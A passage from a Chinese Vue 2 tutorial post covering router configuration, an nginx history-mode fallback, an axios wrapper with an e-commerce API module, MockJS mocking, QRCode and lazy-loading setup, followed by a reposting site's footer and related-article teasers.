import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
	mode:'history',  // 此处可以写history模式或hash模式, 如果使用history模式,需要解决打包部署刷新404的问题
	routes:[
		{
			name:'guanyu',
			path:'/about',
			component:About,
			meta:{isAuth:true,title:'关于'}
		},
		{
			name:'zhuye',
			path:'/home',
			component:Home,
			meta:{title:'主页'},
			children:[
				{
					name:'xinwen',
					path:'news',
					component:News,
					meta:{isAuth:true,title:'新闻'},
				},
				{
					name:'xiaoxi',
					path:'message',
					component:Message,
					meta:{isAuth:true,title:'消息'},
					children:[
						{
							name:'xiangqing',
							path:'detail',
							component:Detail,
							meta:{isAuth:true,title:'详情'},
						}
					]
				}
			]
		}
	]
})

export default router

打包部署刷新页面404的问题

使用nginx

在文件中的nginx.conf文件中修改，代码如下

server {
    listen    YYYY;  # 自己设置的端口号
    server_name 192.168.XXX.XXX;  # 在黑窗口下ipconifg后出现的IPv4地址复制
     
    location / {
      root E:/website_wap/dist/;          # 项目打包后的路径
      index index.html index.htm;
      try_files $uri $uri/ /index.html;  # 解决刷新页面变成404问题的代码
    }                                    # 匹配不到任何静态资源，跳到同一个index.html
    
    location /api {
      proxy_path http://39.38.123.211;
    }
}

21. UI 组件库

移动端常用 UI 组件库

  1. Vant https://youzan.github.io/vant
  2. Cube UI https://didi.github.io/cube-ui
  3. Mint UI http://mint-ui.github.io

PC 端常用 UI 组件库

  1. Element UI https://element.eleme.cn
  2. IView UI https://www.iviewui

22. 配置@

创建jsconfig.json文件

在与package.json同级目录下，创建该jsconfig.json文件

{
    "compilerOptions": {
        "baseUrl": "./",
        "paths": {
            "@/*": [
                "src/*"
            ]
        }
    },
    "exclude": [
        "node_modules",
        "dist"
    ]
}

23. axios

1、安装axios

npm install axios --save

2、创建ajax.js

在src/api文件夹下，创建ajax.js

//对于axios进行二次封装
import axios from "axios";

import nprogress from "nprogress";
//在当前模块中引入store
import store from '@/store';
//如果出现进度条没有显示：一定是你忘记了引入样式了
import "nprogress/nprogress.css";

//底下的代码也是创建axios实例
let requests = axios.create({
  //基础路径
  baseURL: "/api",
  //请求不能超过5S
  timeout: 5000,
});

//请求拦截器----在项目中发请求（请求没有发出去）可以做一些事情
requests.interceptors.request.use((config) => {
  //现在的问题是config是什么?配置对象
  //可以让进度条开始动
  if(store.state.detail.uuid_token){
    //请求头添加一个字段(userTempId):和后台老师商量好了
    config.headers.userTempId = store.state.detail.uuid_token;
  }
  //需要携带token带给服务器
  if(store.state.user.token){
    config.headers.token = store.state.user.token;
  }
  nprogress.start();
  return config;
});

//响应拦截器----当服务器手动请求之后，做出响应（相应成功）会执行的
requests.interceptors.response.use(
  (res) => {
    //进度条结束
    nprogress.done();
    //相应成功做的事情
    return res.data;
  },
  (err) => {
    alert("服务器响应数据失败");
  }
);

//最终需要对外暴露（不对外暴露外面模块没办法使用）
//这里的代码是暴露一个axios实例
export default requests;

3、暴露请求接口方法

在src/api文件夹下创建index.js，引入ajax.js，暴露请求接口的方法，给外界使用

//统一管理项目接口的模块

//引入二次封装的axios（带有请求、响应的拦截器）
import requests from "./ajax";

//三级菜单的请求地址  /api/product/getBaseCategoryList   GET    没有任何参数
//对外暴露一个函数，只要外部调用这个函数，就想服务器发起ajax请求、获取咱们的三级菜单数据。当前咱们这个函数只需要把服务器返回结果返回即可。
export const reqgetCategoryList = () =>requests.get(`/product/getBaseCategoryList`);
//切记:当前函数执行需要把服务器返回结果返回

//获取搜索模块数据 地址:/api/list  请求方式:post  参数:需要带参数
//当前这个函数需不需要接受外部传递参数
//当前这个接口（获取搜索模块的数据），给服务器传递一个默认参数【至少是一个空对象】
export const reqGetSearchInfo = (params)=>requests({url:"/list",method:"post",data:params});

//获取产品详情信息的接口  URL: /api/item/{ skuId }  请求方式：get   
export const reqGoodsInfo = (skuId)=>requests({url:`/item/${skuId}`,method:'get'});

//将产品添加到购物车中（获取更新某一个产品的个数）
///api/cart/addToCart/{ skuId }/{ skuNum }  POST
export const reqAddOrUpdateShopCart = (skuId,skuNum)=>requests({url:`/cart/addToCart/${skuId}/${skuNum}`,method:"post"})

//获取购物车列表数据接口
//URL:/api/cart/cartList   method:get 
export const reqCartList = ()=>requests({url:'/cart/cartList ',method:'get'});

//删除购物产品的接口
//URL:/api/cart/deleteCart/{skuId}   method:DELETE  
export const reqDeleteCartById = (skuId)=>requests({url:`/cart/deleteCart/${skuId}`,method:'delete'});

//修改商品的选中状态
//URL:/api/cart/checkCart/{skuId}/{isChecked}   method:get 
export const reqUpdateCheckedByid = (skuId,isChecked)=>requests({url:`/cart/checkCart/${skuId}/${isChecked}`,method:'get'});

//获取验证码
//URL:/api/user/passport/sendCode/{phone}  method:get
export const reqGetCode = (phone)=>requests({url:`/user/passport/sendCode/${phone}`,method:'get'});

//注册
//url:/api/user/passport/register  method:post    phone code password

export const reqUserRegister = (data)=>requests({url:'/user/passport/register',data,method:'post'});

//登录
//URL:/api/user/passport/login  method:post phone password
export const reqUserLogin = (data)=>requests({url:'/user/passport/login',data,method:'post'});

//获取用户信息【需要带着用户的token向服务器要用户信息】
//URL:/api/user/passport/auth/getUserInfo  method:get 
export const reqUserInfo = ()=>requests({url:'/user/passport/auth/getUserInfo',method:'get'});


//退出登录
//URL:/api/user/passport/logout  get
export const reqLogout = ()=> requests({url:'/user/passport/logout',method:'get'});


//获取用户地址信息
//URL:/api/user/userAddress/auth/findUserAddressList  method:get
export const reqAddressInfo = ()=>requests({url:'/user/userAddress/auth/findUserAddressList',method:'get'});

//获取商品清单
//URL:/api/order/auth/trade   method:get
export const reqOrderInfo = ()=>requests({url:'/order/auth/trade',method:'get'});


//提交订单的接口
//URL:/api/order/auth/submitOrder?tradeNo={tradeNo}  method:post

export const reqSubmitOrder = (tradeNo,data)=>requests({url:`/order/auth/submitOrder?tradeNo=${tradeNo}`,data,method:'post'});

//获取支付信息
//URL:/api/payment/weixin/createNative/{orderId}  GET
export const reqPayInfo = (orderId)=>requests({url:`/payment/weixin/createNative/${orderId}`,method:'get'});

//获取支付订单状态
//URL:/api/payment/weixin/queryPayStatus/{orderId}  get
export  const reqPayStatus = (orderId)=>requests({url:`/payment/weixin/queryPayStatus/${orderId}`,method:'get'});


//获取个人中心的数据
//api/order/auth/{page}/{limit}  get 
export const reqMyOrderList = (page,limit)=>requests({url:`/order/auth/${page}/${limit}`,method:'get'});

4、使用

在vuex的home模块中使用

// 引入暴露的方法
import { reqCategoryList } from '@/api'

const state = {
    categoryList:[]
}

const mutations = {
    CATEGORYLIST(state,val) {
        state.categoryList = val
    }
}

const actions = {
    async categoryList({commit},val){
        //reqgetCategoryList返回的是一个Promise对象
    	//需要用await接受成功返回的结果，await必须要结合async一起使用（CP）
        let result  =  await reqCategoryList() // 这里添加了await: 该步骤结束后,才会执行下面这句
        commit('CATEGORYLIST',result.data)
    }
}

const getters = {

}

export default {
    namespaced:true,
    state,
    mutations,
    actions,
    getters
}

<template>...</template>
<script>
    import { mapState } from "vuex";

    export default {
        name: "TypeNav",
        computed: {
            ...mapState({
                categoryList: (state) => state.home.categoryList.slice(0, 16),
            }),
        }
    }
</script>
<style>...</style>

24. MockJs

使用mock发送请求，会被浏览器拦截，注意：不会发出请求

1、安装mockJs

npm install mockjs --save

2、编写mockServer.js文件

在src下，创建mock文件夹，编写mockServer.js文件，文件内容如下

//先引入mockjs模块
import Mock from 'mockjs';

//把JSON数据格式引入进来[JSON数据格式根本没有对外暴露，但是可以引入]
//webpack默认对外暴露的：图片、JSON数据格式
import banner from './banner.json';
import floor from './floor.json';

//mock数据:第一个参数请求地址   第二个参数：请求数据
Mock.mock("/mock/banner",{code:200,data:banner});//模拟首页大的轮播图的数据
Mock.mock("/mock/floor",{code:200,data:floor});

引入的json文件如下

// banner.json文件
[
  {
    "id": "1",
    "imgUrl": "/images/banner1.jpg"
  },
  {
    "id": "2",
    "imgUrl": "/images/banner2.jpg"
  },
  {
    "id": "3",
    "imgUrl": "/images/banner3.jpg"
  },
  {
    "id": "4",
    "imgUrl": "/images/banner4.jpg"
  }
]


// floor.json文件
[
  {
    "id": "001",
    "name": "家用电器",
    "keywords": [
      "节能补贴",
      "4K电视",
      "空气净化器",
      "IH电饭煲",
      "滚筒洗衣机",
      "电热水器"
    ],
    "imgUrl": "/images/floor-1-1.png",
   	...
  }
]

3、创建mockAjax.js

在src的api文件夹下，创建mockAjax.js，并引入axios，它的baseURL设置为/mock

//对于axios进行二次封装
import axios from "axios";
import nprogress from "nprogress";

//如果出现进度条没有显示：一定是你忘记了引入样式了
import "nprogress/nprogress.css";

//底下的代码也是创建axios实例
let requests = axios.create({
  //基础路径
  baseURL: "/mock",
  //请求不能超过5S
  timeout: 5000,
});

//请求拦截器----在项目中发请求（请求没有发出去）可以做一些事情
requests.interceptors.request.use((config) => {
  //现在的问题是config是什么?配置对象
  //可以让进度条开始动
  nprogress.start();
  return config;
});

//响应拦截器----当服务器手动请求之后，做出响应（相应成功）会执行的
requests.interceptors.response.use(
  (res) => {
    //进度条结束
    nprogress.done();
    //相应成功做的事情
    return res.data;
  },
  (err) => {
    alert("服务器响应数据失败");
  }
);

//最终需要对外暴露（不对外暴露外面模块没办法使用）
//这里的代码是暴露一个axios实例
export default requests;

4、暴露请求接口方法

在src/api文件夹下创建index.js，引入mockAjax.js，暴露请求接口的方法，给外界使用

//统一管理项目接口的模块
//引入二次封装的axios（带有请求、响应的拦截器）
import mockRequests from "./mockAjax";

//获取banner（Home首页轮播图接口）
export const reqGetBannerList = () => mockRequests.get("/banner");

//获取floor数据
export const reqFloorList = () => mockRequests.get("/floor");

5、使用

store/home.js

import { reqgetCategoryList, reqGetBannerList, reqFloorList } from "@/api";

//home模块的仓库
const state = {
  //轮播图的数据
  bannerList: [],
};

//mutions是唯一修改state的地方
const mutations = {
  GETCATEGORYLIST(state, categoryList) {
    state.categoryList = categoryList;
  },
  GETBANNERLIST(state, bannerList) {
    state.bannerList = bannerList;
  },
  GETFLOORLIST(state,floorList){
     state.floorList = floorList;
  }
};

//action|用户处理派发action地方的，可以书写异步语句、自己逻辑地方
const actions = {
 
  //获取首页轮播图的数据
  async getBannerList({ commit }) {
    let result = await reqGetBannerList();
    if (result.code == 200) {
      commit("GETBANNERLIST", result.data);
    }
  },

};

export default {
  namespaced:true,
  state,
  mutations,
  actions,
  getters,
};

ListContainer.vue

<template>...</template>
<script>
    
import { mapState } from "vuex";

export default {
  name: "ListContainer",
  mounted() {
    this.$store.dispatch("home/getBannerList");
  },
  computed: {
    ...mapState({
      bannerList: (state) => state.home.bannerList,
    }),
  },
};
</script>
<style>...</style>

25. QRCode

安装插件：npm install qrcode

import QRCode from 'qrcode'

// With promises
QRCode.toDataURL('I am a pony!') // 返回的是一个Promise对象，可以使用then，也可以使用下面的async和await组合
  .then(url => {
    console.log(url)
  })
  .catch(err => {
    console.error(err)
  })

// With async/await
const generateQR = async text => {
  try {
    console.log(await QRCode.toDataURL(text))
  } catch (err) {
    console.error(err)
  }
}

26. vue-lazyload

官网：https://www.npmjs.com/package/vue-lazyload

安装插件：npm i vue-lazyload -S

引入插件：

import Vue from 'vue'
import App from './App.vue'
import VueLazyload from 'vue-lazyload'
 
Vue.use(VueLazyload)
 
// or with options
Vue.use(VueLazyload, {
  preLoad: 1.3,
  error: 'dist/error.png',
  loading: 'dist/loading.gif',
  attempt: 1
})
 
new Vue({
  el: 'body',
  components: {
    App
  }
})

template：

<ul>
  <li v-for="img in list">
    <img v-lazy="img.src" >
  </li>
</ul>

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/398174.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

dp-过河卒

dp-过河卒

题目描述 如图，A 点有一个过河卒，需要走到目标 B 点。卒行走规则：可以向下、或者向右。同时在棋盘上的 C 点有一个对方的马，该马所在的点和所有跳跃一步可达的点称为对方马的控制点。 例如上图
阅读更多...
【HashMap】| 深度剥析Java SE 源码合集Ⅱ | 你会吗？

【HashMap】| 深度剥析Java SE 源码合集Ⅱ | 你会吗？

目录一. &#x1f981; HashMap介绍1.1 特点1.2 底层实现二. &#x1f981; 结构以及对应方法分析2.1 结构组成2.1.1 成员变量2.1.2 存储元素的节点类型2.1.2.1 链表Node类2.1.2.2 树节点类2.1.2.3 继承关系2.2 方法实现2.2.1 HashMap的数组初始化2.2.2 计算hash值2.2.3 添加元…
阅读更多...
HTML URL

HTML URL

HTML 统一资源定位器 (Uniform Resource Locators) URL 是一个网页地址。 URL 可以由字母组成&#xff0c;如 "w3cschool.cn"&#xff0c;或互联网协议&#xff08;IP&#xff09;地址&#xff1a; 120.79.88.157。大多数人进入网站使用网站域名来访问&#xff0c;因…
阅读更多...
主流的“对象转换工具”使用示例大全以及性能的对比

主流的“对象转换工具”使用示例大全以及性能的对比

目录 前言 源码地址 代码示例 引入依赖 先定两个实体用于转换 定义一个接口让所有转换器都集成 Apache BeanUtils BeanCopier bean-mapping bean-mapping-asm Dozer 自己写get/set JMapper json2json MapStruct&#xff08;推荐&#xff09; ModelMapper OriK…
阅读更多...
使用Vue实现数据可视化大屏功能(二)

使用Vue实现数据可视化大屏功能(二)

引入数据大屏相关组件 用Datav插件做大屏可视化的组件&#xff0c;官网地址 http://datav.jiaminghi.com/ &#xff0c;整个组件库都是基于Vue React版本实现&#xff0c;主要用于构建大屏数据可视化页面&#xff0c;具有很多种类的组件可以使用。其安装方式如下。 npm instal…
阅读更多...
WebRTC中的NAT穿透

WebRTC中的NAT穿透

NAT简介 我们知道&#xff0c;WebRTC会按照内网、P2P、中转的顺序来尝试连接。在大部分的情况下&#xff0c;实际是使用P2P或者中转的。这里P2P的场景主要使用的技术就是NAT穿透。 我们先简单了解下NAT。NAT在真实网络中是常见的&#xff0c;它的出现一是为了解决ipv4地址不够…
阅读更多...
2.1操作系统-进程管理：进程的同步与互斥、信号量与PV操作、PV操作与互斥模型、PV操作与同步模型

2.1操作系统-进程管理：进程的同步与互斥、信号量与PV操作、PV操作与互斥模型、PV操作与同步模型

2.1操作系统-进程管理&#xff1a;进程的同步与互斥、信号量与PV操作、PV操作与互斥模型、PV操作与同步模型进程的同步与互斥PV操作PV操作与互斥模型PV操作与同步模型进程的同步与互斥 进程是动态的&#xff0c;有一些动态变迁的过程&#xff0c;进程在计算机中是可以同时存在…
阅读更多...
JavaEE简单示例——Spring框架的简单介绍

JavaEE简单示例——Spring框架的简单介绍

简单介绍&#xff1a; 在我们之前创建的Java项目中&#xff0c;会发现我们的各种类&#xff0c;接口文件和配置文件都放在了一起&#xff0c;虽然我们也做了一些包管理去管理我们的这些文件&#xff0c;但是对于我们来说&#xff0c;这些操作还是太繁琐了&#xff0c;尤其是当…
阅读更多...
Spark-RDD创建、并行分区

Spark-RDD创建、并行分区

集合&#xff08;内存&#xff09;中创建 RDD 外部存储&#xff08;文件&#xff09;创建 RDD 并行与分区 分区的设定 集合&#xff08;内存&#xff09;中创建 RDD 从集合中创建 RDD&#xff0c;Spark 主要提供了两个方法&#xff1a;parallelize 和 makeRDD&#xff0c;从…
阅读更多...
【源码解析】SpringBoot缓存之@Cacheable的快速入门和源码解析

【源码解析】SpringBoot缓存之@Cacheable的快速入门和源码解析

快速入门 启动类上添加注解EnableCaching在方法上添加注解Cacheable。 OverrideCacheable(cacheNames "value", key "#code_#dictKey")public String getValue(String code, Integer dictKey) {return baseMapper.getValue(code, dictKey);}OverrideCac…
阅读更多...
数据结构和算法学习记录——线性表之单链表(上)-初始单链表及其头插函数（顺序表缺陷、单链表优点、链表打印）

数据结构和算法学习记录——线性表之单链表(上)-初始单链表及其头插函数（顺序表缺陷、单链表优点、链表打印）

单链表的概念单链表是一种链式存取的数据结构&#xff0c;链表中的数据是以结点来表示的。每个结点的构成&#xff1a;元素(数据元素的映象) 指针(指示后继元素存储位置)。元素就是存储数据的存储单元&#xff0c;指针就是连接每个结点的地址数据。以“结点的序列”表示的线性…
阅读更多...
Kubernetes Service简介

Kubernetes Service简介

Service 之前我们了解了Pod的基本用法&#xff0c;我们也了解到Pod的生命是有限的&#xff0c;死亡过后不会复活了。我们后面学习到的RC和Deployment可以用来动态的创建和销毁Pod。尽管每个Pod都有自己的IP地址&#xff0c;但是如果Pod重新启动了的话那么他的IP很有可能也就变…
阅读更多...
cocos2dx+lua学习笔记：事件派发器CCEventDispatcher

cocos2dx+lua学习笔记：事件派发器CCEventDispatcher

前言 本篇在讲什么 cocos2dx内关于事件监听和派发的调度器EventDispatcher相关内容 本篇适合什么 适合初学Cocos2dx的小白 适合想要学习EventDispatcher的新手 本篇需要什么 对Lua语法有简单认知 对C语法有简单认知 对Cocos2dx有简单认知 Cocos2dx-Lua的开发环境 依…
阅读更多...
【Spring事物三千问】DataSource的设计和常用实现——Hikari、Druid

【Spring事物三千问】DataSource的设计和常用实现——Hikari、Druid

javax.sql.DataSource javax.sql.DataSource 是 jdk 提供的接口&#xff0c;各个连接池厂商 和 Spring 都对 DataSource 进行了设计和实现。 javax.sql.DataSource 是连接到物理数据源的工厂接口。它是 java.sql.DriverManager 功能的替代者&#xff0c;是获取数据库连接的首选…
阅读更多...
H5视频付费点播打赏影视系统程序全开源运营版，含完整的前后台+数据库

H5视频付费点播打赏影视系统程序全开源运营版，含完整的前后台+数据库

源码介绍&#xff1a; 这是一个非常棒的精品代码&#xff0c;之前官方网站售价可是超过2w的。我拿过来了简单测试了一下&#xff0c;完美。好久没有遇到这么好的代码了&#xff0c;特此整理了一份完整的搭建教程并分享一下。 thinkphp开发&#xff0c;前后端分离设计&#xf…
阅读更多...
Vue3做出B站【bilibili】 Vue3+TypeScript+ant-design-vue【快速入门一篇文章精通系列（一）前端项目案例】

Vue3做出B站【bilibili】 Vue3+TypeScript+ant-design-vue【快速入门一篇文章精通系列（一）前端项目案例】

本项目分为二部分 1、后台管理系统&#xff08;用户管理&#xff0c;角色管理&#xff0c;视频管理等&#xff09; 2、客户端&#xff08;登录注册、发布视频&#xff09; Vue3做出B站【bilibili】 Vue3TypeScriptant-design-vue【快速入门一篇文章精通系列&#xff08;一&…
阅读更多...
ASEMI高压MOS管20N60参数，20N60尺寸，20N60体积

ASEMI高压MOS管20N60参数，20N60尺寸，20N60体积

编辑-Z ASEMI高压MOS管20N60参数&#xff1a; 型号&#xff1a;20N60 漏极-源极电压&#xff08;VDS&#xff09;&#xff1a;600V 栅源电压&#xff08;VGS&#xff09;&#xff1a;30V 漏极电流&#xff08;ID&#xff09;&#xff1a;20A 功耗&#xff08;PD&#xff…
阅读更多...
项目最后一刻发生范围变更该怎么处理？

项目最后一刻发生范围变更该怎么处理？

不管是项目需求发生了变化&#xff0c;还是第一轮可交付成果没有完全达到预期&#xff0c;在项目范围定义的初始阶段之后可能发生变化的原因有很多。当这种情况发生时&#xff0c;你需要准备好一个计划来处理最后一刻的范围变更和调整。 什么是范围变更&#xff1f; 范围变更是…
阅读更多...
浪潮 KaiwuDB x 山东重工 | 打造离散制造业 IIoT 标杆解决方案

浪潮 KaiwuDB x 山东重工 | 打造离散制造业 IIoT 标杆解决方案

近日&#xff0c;浪潮 KaiwuDB 携手山东重工集团有限公司&#xff08;以下简称&#xff1a;山东重工&#xff09;重磅发布“离散制造业 IIoT 解决方案”。该 IIoT 方案以 KaiwuDB 就地运算专利技术为底座&#xff0c;搭建了”多快优智”的“13N”方案体系&#xff0c;目前已率先…
阅读更多...
南京、西安集成电路企业和高校分布一览（附产业链主要厂商及高校名录）

南京、西安集成电路企业和高校分布一览（附产业链主要厂商及高校名录）

前言 3月2日&#xff0c;国务院副总理刘鹤在北京调研集成电路企业发展&#xff0c;并主持召开座谈会。刘鹤指出&#xff0c;集成电路是现代化产业体系的核心枢纽&#xff0c;关系国家安全和中国式现代化进程。他表示&#xff0c;我国已形成较完整的集成电路产业链&#xff0c;也…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023